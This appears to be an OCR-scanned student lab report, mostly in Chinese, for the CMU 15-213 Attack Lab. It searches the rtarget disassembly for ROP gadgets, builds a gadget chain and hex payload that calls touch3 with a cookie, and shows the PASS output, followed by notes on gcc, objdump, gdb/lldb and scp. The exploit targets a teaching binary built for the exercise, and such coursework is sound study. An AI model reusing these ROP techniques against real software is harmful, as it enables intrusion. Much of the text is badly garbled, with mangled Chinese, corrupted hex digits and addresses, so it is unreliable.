89
c7
c7

89
c7
c3
90

c7" rtarget.s

94

movl $0x94c78948, (%rdi)
mov $0xc3c78948, %eax
mov $0x90c78948, %eax

mov ¢rax,srdi

0000000000401a18 <getval 449>:

401lal8:
40lald:

b8 48 89 c7
c3

33

7] Wgadget 2t J0x401a19

2020012363@hp:~$ grep "58"

400c58: f£ do
400cf0: £f£ 25
<mmap@GLIBC_2.2.5>
400fa5: 48 8d
< IO stdin used+0x68>
401058: 89 c7
401249: 48 8b
<optarg@@GLIBC 2.2.5>
401583: 8b 44
401587: 69 c0
40158d: 89 44
401858: 74 2a
4019fc: 8d 87

62

3d

0d

24

11

24

58

43

ac

rtarget.s

20

20

42

mov

retq

00

00 00

20 00

00

$0xc3c78948, %eax

callg *%rax

jmpgq *0x204362(%rip) # 605058

lea 0x20ac(%rip),%rdi # 403058
mov %eax, %edi

mov 0x204258(%rip), %rcx # 6054a8
mov 0xlc(%rsp), %eax

imul $0x3611, %eax, %eax

mov %eax,0xlc(%rsp)
je 401884 <touch2+0x42>
lea -0x1f3c6fa8(%rdi), %eax

00000000004019fc <addval 327>:
8d 87 58 90 c3 el

4019fc:
401a02:

33

A Mgadget 3Rttt Jox4019fe

2020012363@hp:~$ grep

4019d9:
401a3d:
40la4db:
401a75:
40la7c:
401lab8:
40ladb:
40lafc:
402180:

89 c2
8d 87
c7 07
8d 87
c7 07
c7 07
8d 87
b8 89
48 89

"g9 c2"

89
89
89
89
89
89
c2
c2

c2
c2
c2
c2
c2
c2
00

a4
91
90
20
00
00
c9

lea

retq

rtarget.s

c9
90
90
c9
c0
c9

-0x1f3c6fa8(%rdi), %eax

mov %eax, sedx

lea -0x365b3d77(%xrdi), %eax
mov1l $0x9091c289, (%rdi)

lea -0x6£6£3d77(%rdi), %eax

mov1l $0xc920c289, (%rdi)
movl $0xc000c289, (%rdi)

lea -0x36£f£3d77(%rdi), %eax
mov $0xc900c289, %eax
mov grax, srdx

0000000000401a4b <setval 308>:
c7 07 89 c2 91 90

40la4db:

movl

$0x9091c289, ($rdi)



14 401a51: c3 retqg

15 Al W gadget 4Ryttt 0x401a4d

1 2020012363@hp:~$ grep "89 dl1" rtarget.s

2 400e82: 49 89 dl mov grdx, %r9

3 4017d5: 89 dl mov %edx, secx

4 401a59: 8d 87 89 dl1 20 d2 lea -0x2ddf2e77(%xrdi), %eax
5 401a8a: b8 89 dl 84 d2 mov $0xd284d189, %eax

6 401a96: c7 07 c3 89 dl 92 movl $0x92d189c3, (%rdi)

7 401b02: 8d 87 89 dl 18 cO lea -0x3fe72e77(%xrdi), %eax
8 |  m o
9 0000000000401a96 <setval 255>:

10 401a96: c7 07 c3 89 dl 92 movl $0x92d189c3, (%rdi)

11 401a9c: c3 retq

12 7] Mgadget 5t fg0x401a99

1  2020012363@hp:~$ grep "89 ce" rtarget.s

2 401la52: c7 07 89 ce 48 d2 movl $0xd248ce89, (%rdi)

3 401a60: 8d 87 89 ce 60 c9 lea -0x369£3177(%rdi), %eax
4 40laaéd: 8d 87 89 ce 84 cO0 lea -0x3f7b3177(%xrdi), %eax
5 40lad4: 8d 87 46 6a 89 ce lea -0x317695ba(%rdi), %eax
6 401b09: b8 89 ce 28 c0 mov $0xc028ce89, %eax

7 4023de: 48 89 ce mov $rcx,%rsi

8 4024ef: 4d 89 ce mov $r9,%rl4

B | oo oo e e e e e e O e e e o O e e 5 o e o e o o o e e o e e e e e ) ) D e e o e O O e e e S S D e
10 0000000000401ad4 <addval 180>:

11 40lad4: 8d 87 46 6a 89 ce lea -0x317695ba(%rdi), %eax

12 40lada: c3 retq

13 A llgadget6AUithit ox401ad8

1  2020012363@hp:~$ grep "lea (%rdi,%rsi,l),%rax" rtarget.s

2 2020012363@hp:~$ grep "(%rdi,%rsi,l),%rax" rtarget.s

3 401a38: 48 8d 04 37 lea (%$rdi,%rsi,l),%rax

4 |
5 0000000000401a38 <add_xy>:

6 401a38: 48 8d 04 37 lea (%rdi,%rsi,l),%rax

7 40la3c: c3 retq

8

A Mgadget0RYitht }90x401a38



2020012363@hp:~$ grep
40lall:
401al8:
40lale:
4021b4:

c7 07
b8 48
b8 48
48 89

"48 89 c7"
48 89 c7 94
89 c7 c3

89 c7 90

c7

rtarget.s

0000000000401a18 <getval 449>:

401lal8:
401lald:

b8 48 89 c7 c3
c3

retq

A Mgadget 7RI F90x401a19

mov

movl $0x94c78948, (%rdi)
mov $0xc3c78948, %eax
mov $0x90c78948, %eax
mov ¢rax, srdi
$0xc3c78948, %eax

ZZ X, touch3a9ithiit’9: 0000000000401959, Tcookief16#HHIFRFEN: 3263306465396334,

0x401a99

0x401a46 0x401a19 0x4019fe 0x4071a4d 0x401a99 0x401ad8 0x401a38 0x401a19

L, BN FREARES. xt

1 00 00 00 00
2 00 00 00 OO
3 00 00 00 0O
4 00 00 00 0O
5 00 00 00 00
6
7 46 la 40 00
8 19 1la 40 00
9 fe 19 40 00
10
11 48 00 00 0O
12
13 4d la 40 00
14 99 la 40 00
15 d8 la 40 00
16 38 la 40 00
17 19 la 40 00
18
19 59 19 40 00
20
21 32 63 30 64
A0 T &R A
1
2
3.
4
5

00
00
00
00
00

00
00
00

00

00

00

00

00

00

00

65

00
00
00
00
00

00
00
00

00

00

00

00

00

00

00

39

00
00
00
00
00

00
00
00

00

00

00

00

00

00

00

63

00
00
00
00
00

00
00
00

00

00

00

00

00

00

00

34

. RA0x00iE e getbufy Ttk
. EEREIHEE ES Amovq %rsp, Y%raxyithik
gadget1#9 755 Amovq %rax, %rdifithiit

. gadget2 735 \pop %raxHJithiit

gadget3 L A ENREE



fmigE 55 Amovl %eax, %edxAyithit
gadget4_ £ 755 Amovl %edx, %ecxithit
gadget5_E 75 Amovl %ecx, %esifgithilt

9. gadget6 £ E Nlea (%rdi, %rsi, 1)89iE
10. gadget0_L735 Amovq %rax, %rdifyithiit
11. gadget7 £ 5 Atouch3 R £t
12. touch3RR &t 755 A cookie+7 # HF =5 &

® N o

AT

cat 5.txt | ./hex2raw | ./ctarget -g

ERELE S

2001236 :~$ cat 5.txt|./hex2raw|./rtarget -q
Cookle 0x2c0de9c4
Type string:Touch3!: You called touch3("2c@de9c4")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:

user id NoOne

course 15213-f15

lab attacklab

result 2020012363:PASS:oxffffffff:rtarget:3: 00 00 00 00 00 00 00 00 00 00 O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 1A 40 00 00 00 O
00 00 00 00 00 FE 19 40 00 00 00 00 00 48 00 00 00 00 4D 1A 40 00 00 00 00 O
00 00 00 00 DS 1A 40 00 00 00 00 00 38 1A 40 00 00 19 1A 40 00 00 00 00 00 5
00 00 00 32 63 30 64 65 39 63 34

SMUTTIRYES
*TEHPXAKNESEIIK R

ISR HOSTHIRTERR, BAGITT, but AR 8 M, AMLF LEFKFEET 24 1
w5, FRNSENERNS AR —EE -0, X SHELOML. BIRONFSE.



FRENZENFBNZE A —EE—HHN, XT
Mé4miEazaoiift, TERMXFTEEXN

A SR —TFTEX bufferf K/, BERERM®
HHX, E—TEoESI/HKRZE

SLI& B BUFFER_SIZE SRR 38 EEMA

PR, TESERUPPTIRERA, SCROSAHIANAFTRFNZ(E., ZPXANEIAAN/N, XEEMARZ, ZIBERED
BN IR IR .



sub $0x28,%rsp
mov %rsp, %rdi
callg 401a6b <Gets=

-i%2ﬁ$HBmWTWB,$ —IR
0x28 NMFTTHIZEE], 26 317K &giﬁﬁé%ndj
AR b D ?i‘siﬁﬂ%ﬂ)fﬁ 7 Gets B
, rdi BLA2 Gets RELFISE. RIXBEIATA]
PLHfi € BUFFER_SIZE FJ K/ 0x28 F75 6
Hr)uE i, 1F 0x28 N F T HIAR B Gets, P2
BWZIE, %tﬂﬂ%ﬁﬁ?f—’fé\%ﬁi EPN gejb.%
BRI AR AT o o

XRTH
GCC&G++

gee RFHARIBHRERZ GNU C Compiler, S{RFAE], ME— 1 cmiZsR. EREREANZXTHEELERTES
Hih RNEHESHIIF2E, GCCRiE the GNU Compiler Collection, FRIARTR—#RmIFRNEE, g++IIEGCC
fIc+H+4RIEEs.

MENERFRBNERNgcc, EETZHEMBTOESHIFEE, FRINRME— 1 IEsER, RIFBABH
EEBZRAMNAARmIZESR TR CHIRIESS (g++). LEANRBERE ., M ERGRERERinkerEpERcY
library, SNRARBELEEcpp, MaEAHg++RmiFes, Lfhlibrary callth 2c++iRAHY,

FRA EIRMT, EXTUAEREgcctRAGES RmiERR, gr+lNcHHESHIFESS.

gcc main.cpp -02 -o cpp2c
EEmIERR, BNXMY, -02fittER, -ofsEBMXMY (ZMEIANa. out)
RE—SHRRNTXMY, IURETME, ERRtIMNECHES

./cpp2c < 09.in > cpp2c.output

X—BEHEEEM, H09. inIANGANITXHcpp2e, REEEHLEES
cpp2c.outputEH
AR ./ RREBRG R TRITEREE



7EDSA lab18IEIRE TR, BEBIERTBREIEN T std.out, AGSTRETb@std.outii NOX.inxx 4, EEM[E
std.outEEm,

Z IE AR LR

1  diff cpp2c.output std.out

BEIFMEg++IRIE:
gH+ZHNA

BE—T GCCH—LESHMA, thah TR —EERANSH:

-o filename IETEHIHIIHEZ

-s LR

TREIN R (object file, .o/.obj)

AT T AL IR

-g IR S

ATRRHE, —MBBEITHF -g &0, SWEXNHRETESBIATIAZEN S, IEEMSTEBINTERE
BE (0@

7 -Werror IBFAEHY warning HAY error

8 -0{,1,2,3,s,fast,g} IREMLIZIN

H Q

o U W N

10 > gcc time.cpp -S -02 -g -Werror -o time.s
11 > gcc time.cpp -S -02 -g -o time.s

12 > gcc time.cpp -E -0 -o time.s

objdump

objdump - #EHH, BHRNERES

gce -S gce -c

C fUH5 LR S “HHIFES
objdump -S

RAJgE/RICHR LIRS, AEISREFNMRIEE T -g XML S8, BERIEWAE.
ERCHENABINELNERENNBEREE—RER, RET-a5H.

1 -s

2 —--full-contents

3 ETfEEsectionfITEAD. BMIANTENIEEsection# IRHER.
4

5 =S

6 —--source

7

8


https://www.cnblogs.com/lidan/archive/2011/05/25/2239517.html
https://zh.wikipedia.org/wiki/Objdump

10 -d RICHATRITHIER (4. text)
11 -p RICHRHABRIER, EMERXTEREFMINZLE, thHmis< KRB,

12
13 -t BRERBOFSIIER,
14

15 --adjust-vma OFFSET B/RC4LRAIMBLEER I E—MRRE, EBEFHRARFFL.

16

17 -M {intel,att} A Intel THFE AT&T NIEETR x86 ;[H; EHKINERTHNRATSTXIE,

18

19 WRAME Msve, BBAERIAN x86 LEMIEE Intel Xi&; WRAMNZE objdump. gdb. gccHETIH,
20  —RRECIARSCRNAE BATST,

objdump@i£_Linux objdump @i £ FEIERE: BR_#FIXHEER

gdb&lidb

g+t+ main.cpp -g -o debug
XE A - g4 R S

11db debug

HENEIRER

b 31

EE3TIMARTR

r

HARAT, HEEMRRTE

q
BH11db

W 00 ~J o U & W N =

=
o

macos [RARILLDBIFIY T 2218 FH8EE gdb B,

|E] =R fEIR
exec format error

B RSB BscpER MR TEAARMTTMELR, AMAFBNTIETE, LI TE:

1 > ./hex2raw < phasel.txt > attackl;

2 zsh: exec format error: ./hex2raw

RPEHEXERE, BERBNZEERFETESERE,

BEIRFB(EMOZERMMISH, RANZARMOAESE, MARSHZRANIESEEX86-64, MMSHT 1%
BFIETAY. TEROEIRSS[HITEN, BIRTZE-,


https://man.linuxde.net/objdump
https://lldb.llvm.org/use/map.html
https://stackoverflow.com/questions/64706647/why-am-i-getting-a-zsh-exec-format-error

HEFMacOSi#{T3LEs

SEfr b, ATHRNEMRATETARMBSLENMISH, SBRARERICEEZEITIRNTXY, H5RS
REMESR, MMUAKNZRITAERTTR, FERETRSS.

A, Moba X Term#AH&BEMacOShRA, XEH T H—FHAKAE, FTEEASA @D vscode remote3k
ERS 2R, RIFWR, vscodelfFEERNIGS, SHIETIEEvscode R EERICHHKI,

BB LR EscpR At E i)

1 > scp 2020012363@166.111.69.40:/home/2020012363/ctarget.d ./
2 2020012363@166.111.69.40's password:
3 ctarget.d 100% 0 0.0KB/s 00:00

B/~ BES R SLRL TR Atouch1ROR B, EHPEK/NESE,

M AEHE
TR, RR—BE, TRSKOBA, RETERMAEPERE, SRR,

FRIFR TR/, BRIT4IE: BRIBRSS 3 LRYRTHAT XX RNR0, WEREVIBRT., (X MHRM
MvscodelfftBE X, BERBEIN T M)

BT M EAHS ctargeti#fTscpth AT IAE HiXME)fR, ctarget.dA/NRO0, XEZFERAFTHITIXERBZZTT, &
MR EHEEE T,

2020012363@hp:~$ du hex2raw
0 hex2raw
2020012363@hp:~$ du ctarget
72 ctarget
2020012363@hp:~$ du rtarget
76 rtarget

A U W N

EmG 2 AiiE AR RTHAT XU LIEERSSEE, HE

e
>
o

FT e

https://zh.wikipedia.org/wiki/%E5%AD%97 %E8%8A%82%ES5%BA%8F

Sk gadget1

ROBEEEEREE targetHP I HBEFMIFEEMtarget, TERSIW T RZgrepiE<:

1 2020012363@hp:~$ grep "48 89" rtarget.s
2 400e86: 48 89 e2 mov }rsp, srdx


https://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F

o N o U

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
38
34

RMAFIREBHENRBH,

1
2

{rsp, $rbp

2020012363@hp:

40lall:
401lal8:
40lale:
4021b4:

2020012363@hp:
2020012363@hp:
2020012363@hp:

40192b:
4021a5:

2020012363@hp:

4010d1:
401802:
401lc7e:
402458:

2020012363@hp:

402621:

2020012363@hp:
2020012363@hp:

401lal8:
40lale:
40lae2:
40lafé6:

2020012363@hp:
2020012363@hp:
2020012363@hp:

401al8:
40lale:
40lae2:
401af6:

movqg %rax $rdi

ret

~$ grep

c7 07
b8 48
b8 48
48 89

~$ grep
~$ grep
~$ grep

48 89
48 89

~$ grep

48 89
48 89
48 89
48 89

~$ grep

48 89

~$ grep
~$ grep

b8 48
b8 48
b8 48
b8 48

~$ grep
~$ grep
~$ grep

b8 48
b8 48
b8 48
b8 48

e5

"48 89 c7"
48 89 c7 94
89 c7 c3
89 c7 90
c7

"48 89 cf"
"48 89 47"
"48 89 df"
df

df

"48 89 e7"
e’7

e’7

e’7

e’7

"48 89 f7"
£7

"48 89 ff"
"b8 48 89"
89 c7 c3
89 c7 90
89 el c3
89 el c7

rtarget.s

movl

mov
mov
mov
rtarget.s
rtarget.s
rtarget.s
mov
mov
rtarget.s
mov
mov
mov
mov
rtarget.s
mov
rtarget.s
rtarget.s
mov
mov
mov

mov

"48 ** 48 89" rtarget

$0x94c78948, (%rdi)
$0xc3c78948, %eax
$0x90c78948, %eax

¢rax, %rdi

$rbx, $rdi
$rbx, $rdi

grsp, srdi
grsp, srdi
grsp, srdi
2rsp, srdi

$rsi,%rdi

$0xc3c78948, %eax
$0x90c78948, %eax
$0xc3e08948, %eax
$0xc7e08948, %eax

"48 48 89" rtarget.s

"b8 48 89" rtarget.s

89 c7 c3 mov $0xc3c78948, %eax

89 c7 90 mov $0x90c78948, %eax

89 el c3 mov $0xc3e08948, %eax

89 el c7 mov $0xc7e08948, %eax
BiRE: LFOERIESHRMIETTERIA:

AMm, BRFEHELANTFERENA:

1

RERENERERITH=RETI48mME, MEFEIRECTITERGretdE, XHEFKE,

48 89 c7 c3

ARIBHEE, JE401a18mERIE—iL, tEN401a19,

£54

/

1

RIRSE THE



1 2020012363Q@hp:~$ grep "48 89 c7 c3" rtarget.s
2 401al8: b8 48 89 c7 c3 mov $0xc3c78948, %eax

Fikgadget2
RS Pgadgetttig I A, RENMEEET —Leae:

1 020012363@hp:~$ grep "58 c3" rtarget.s

2 2020012363@hp:~$ grep "59 c3" rtarget.s

3  2020012363@hp:~$ grep "5a c3" rtarget.s

4  2020012363@hp:~$ grep "5b c3" rtarget.s

5 2020012363@hp:~$ grep "5c c3" rtarget.s

6 2020012363@hp:~$ grep "5d c3" rtarget.s

7 2020012363@hp:~$ grep "58" rtarget.s

8 400c58: ff do callg *%rax

9 400cf0: £f 25 62 43 20 00 jmpg  *0x204362(%rip) # 605058
<mmap@GLIBC_ 2.2.5>

10 400fa5: 48 8d 3d ac 20 00 00 lea 0x20ac(%rip),%rdi # 403058
<_I0_stdin_used+0x68>

11 401058: 89 c7 mov %eax, sedi

12 401249: 48 8b 0d 58 42 20 00 mov 0x204258(%rip), %rcx # 6054a8

13 ——— e ————————————————————— -

14 <trans_char+0x78>
15 402d58: 41 c6 44 24 02 00 movb $0x0,0x2(%rl2)

QEPTR, HREERRRELN S8 3"FFHEN, IRAEMI, MBEH 7 ERAIBENpopais<, HIAREEHXE!
BN16HFIES, TRLZT, BBH T 58" FRHENERER, RERI:

1 00000000004019fc <addval 327>:
2 4019fc: 8d 87 58 90 c3 e0 lea -0x1f3c6fa8(%rdi), seax
3 401a02: c3 retq

XA EIREFRER"58"5 3" Al BEHAELE, MIAIBEEARRRTT, BEEHEIIE"90", nopRIERF. AT
BHiEPkEEZ0x4019feBlH],

=
LIRSS

STRX LR SE50 2 B AY— A%ﬁEWEEﬁTfﬂﬁﬁﬂﬁfﬁﬁﬁ%%¢ﬂ?&ﬁp—%mﬁkﬁﬂ o EfR
£, EEMZEASEEZEHESNETER, SXEEERARECERNNERNXIRENIZN,

StER, NEZEZEREARRE, 23 T7TEHENXE, BRETELEATIRE T ZMEYRE
Ko WBZEREATRIEFERNNLRIHER . FARARMTUWFO—KARR.



ORERBNF T T EPBERRIMAACR, X058 T HRELMRIETNZERIR. SRR, HAESZRIE
ZIRBEIAMLI S RSBLNEFEANEDER, MX—)IRE TARMEMIIIESESX86RMIELENXA], X
WEBINREI TSR, ELERASFEERNZEMNEREX,

0N FREFSMATWES £, TEEHEREIERKIKXE: SHEKIRNEERIZZREREBE. &
F, PERFERRRMRENE, RANET BRRESMRBETWRAIER, KSHENEERE LEZINER
MR ERESTNE, MEFNAIEKESLIr E2EEE, TER2031F22033FE AR REHFER
PrEEEEFIRET . MEASH. FSRSFRAERREA R, ZIREE THRETT BN LAERNSE, B
BN BAE(S SRR TUR L 5

MERRSS 28 L5 SEle, EREMAL T EZMshellis<, BEvim, BB, EERFE, MXLEMIREEN
EHESIREREFRESHE.

FOREF R T HISCRACIBRBENIEREN, LEEPREERITE, i, BRRFHDNASER
MIRERNBTE T ERNRER, SEBEFNOMERGITIETRBERER.
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